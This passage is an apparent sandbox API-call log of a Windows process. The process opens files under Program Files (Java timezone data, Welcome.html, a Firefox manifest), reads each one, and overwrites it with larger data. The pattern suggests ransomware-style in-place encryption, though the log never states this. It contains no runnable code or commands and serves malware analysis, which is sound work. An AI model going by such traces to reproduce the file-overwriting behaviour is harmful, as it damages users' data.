lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x424 [0057.033] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.033] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.033] ReleaseMutex (hMutex=0x128) returned 1 [0057.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vilnius", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0057.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vilnius", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vilnius", lpUsedDefaultChar=0x0) returned 7 [0057.033] ReadFile (in: hFile=0x1d4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x424, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2e0f2bc*=0x424, lpOverlapped=0x0) returned 1 [0057.035] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.035] WriteFile (in: hFile=0x1d4, lpBuffer=0x39db988*, nNumberOfBytesToWrite=0x9ac, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x39db988*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9ac, lpOverlapped=0x0) returned 1 [0057.035] CloseHandle (hObject=0x1d4) returned 1 [0057.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Cocos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\cocos"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.035] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.036] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b [0057.036] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.036] ReleaseMutex (hMutex=0x128) returned 1 [0057.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cocos", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0057.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cocos", cchWideChar=5, lpMultiByteStr=0x1e6a7bc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cocos", lpUsedDefaultChar=0x0) returned 5 [0057.036] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e786c8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e786c8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0057.037] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.037] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0057.037] CloseHandle (hObject=0x1d4) returned 1 [0057.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.038] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.038] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4f8 [0057.038] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.038] ReleaseMutex (hMutex=0x128) returned 1 [0057.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MST7MDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0057.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MST7MDT", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MST7MDT", lpUsedDefaultChar=0x0) returned 7 [0057.038] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2e0f2bc*=0x4f8, lpOverlapped=0x0) returned 1 [0057.040] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.040] WriteFile (in: hFile=0x1d4, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xa80, lpOverlapped=0x0) returned 1 [0057.040] CloseHandle (hObject=0x1d4) returned 1 [0057.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Funafuti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\funafuti"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.041] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.041] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x41 [0057.041] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.041] ReleaseMutex (hMutex=0x128) returned 1 [0057.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Funafuti", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0057.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Funafuti", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Funafuti", lpUsedDefaultChar=0x0) returned 8 [0057.041] ReadFile (in: hFile=0x1d4, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2e0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0057.042] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.042] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0057.042] CloseHandle (hObject=0x1d4) returned 1 [0057.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Majuro" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\majuro"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4d [0057.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.043] ReleaseMutex (hMutex=0x128) returned 1 [0057.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Majuro", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0057.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Majuro", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Majuro", lpUsedDefaultChar=0x0) returned 6 [0057.043] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e8f3a8, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f3a8*, lpNumberOfBytesRead=0x2e0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0057.044] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.044] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0057.044] CloseHandle (hObject=0x1d4) returned 1 [0057.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pohnpei" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\pohnpei"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.045] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.045] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x41 [0057.045] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.045] ReleaseMutex (hMutex=0x128) returned 1 [0057.045] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pohnpei", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0057.045] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pohnpei", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pohnpei", lpUsedDefaultChar=0x0) returned 7 [0057.045] ReadFile (in: hFile=0x1d4, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2e0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0057.046] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.046] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0057.046] CloseHandle (hObject=0x1d4) returned 1 [0057.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\ast4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.047] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.047] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b [0057.047] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.047] ReleaseMutex (hMutex=0x128) returned 1 [0057.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AST4", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0057.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AST4", cchWideChar=4, lpMultiByteStr=0x1e6a7bc, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AST4", lpUsedDefaultChar=0x0) returned 4 [0057.047] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e786c8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e786c8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0057.048] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.048] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0057.048] CloseHandle (hObject=0x1d4) returned 1 [0057.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8PDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\pst8pdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.049] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.049] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x8f0 [0057.049] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.050] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.050] ReleaseMutex (hMutex=0x128) returned 1 [0057.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PST8PDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0057.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PST8PDT", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PST8PDT", lpUsedDefaultChar=0x0) returned 7 [0057.050] ReadFile (in: hFile=0x1d4, lpBuffer=0x27accb8, nNumberOfBytesToRead=0x8f0, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27accb8*, lpNumberOfBytesRead=0x2e0f2bc*=0x8f0, lpOverlapped=0x0) returned 1 [0057.051] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.051] WriteFile (in: hFile=0x1d4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xe78, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xe78, lpOverlapped=0x0) returned 1 [0057.051] CloseHandle (hObject=0x1d4) returned 1 [0057.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.052] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.052] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3d7 [0057.052] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.052] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.052] ReleaseMutex (hMutex=0x128) returned 1 [0057.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Welcome.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Welcome.html", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Welcome.html", lpUsedDefaultChar=0x0) returned 12 [0057.052] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2e0f2bc*=0x3d7, lpOverlapped=0x0) returned 1 [0057.054] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.054] WriteFile (in: hFile=0x1d4, lpBuffer=0x39d9958*, nNumberOfBytesToWrite=0x95f, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x39d9958*, lpNumberOfBytesWritten=0x2e0f2d0*=0x95f, lpOverlapped=0x0) returned 1 [0057.054] CloseHandle (hObject=0x1d4) returned 1 [0057.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.055] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.055] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa2d68 [0057.055] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.055] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.055] ReleaseMutex (hMutex=0x128) returned 1 [0057.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msmdsrv.rll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0057.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msmdsrv.rll", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmdsrv.rll", lpUsedDefaultChar=0x0) returned 11 [0057.055] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0057.059] ReadFile (in: hFile=0x1d4, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.060] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa1d68 [0057.061] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.062] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa1d68 [0057.063] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.063] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0057.063] WriteFile (in: hFile=0x1d4, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.064] WriteFile (in: hFile=0x1d4, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.064] CloseHandle (hObject=0x1d4) returned 1 [0057.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\components.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\components.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.065] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.065] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x22 [0057.065] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 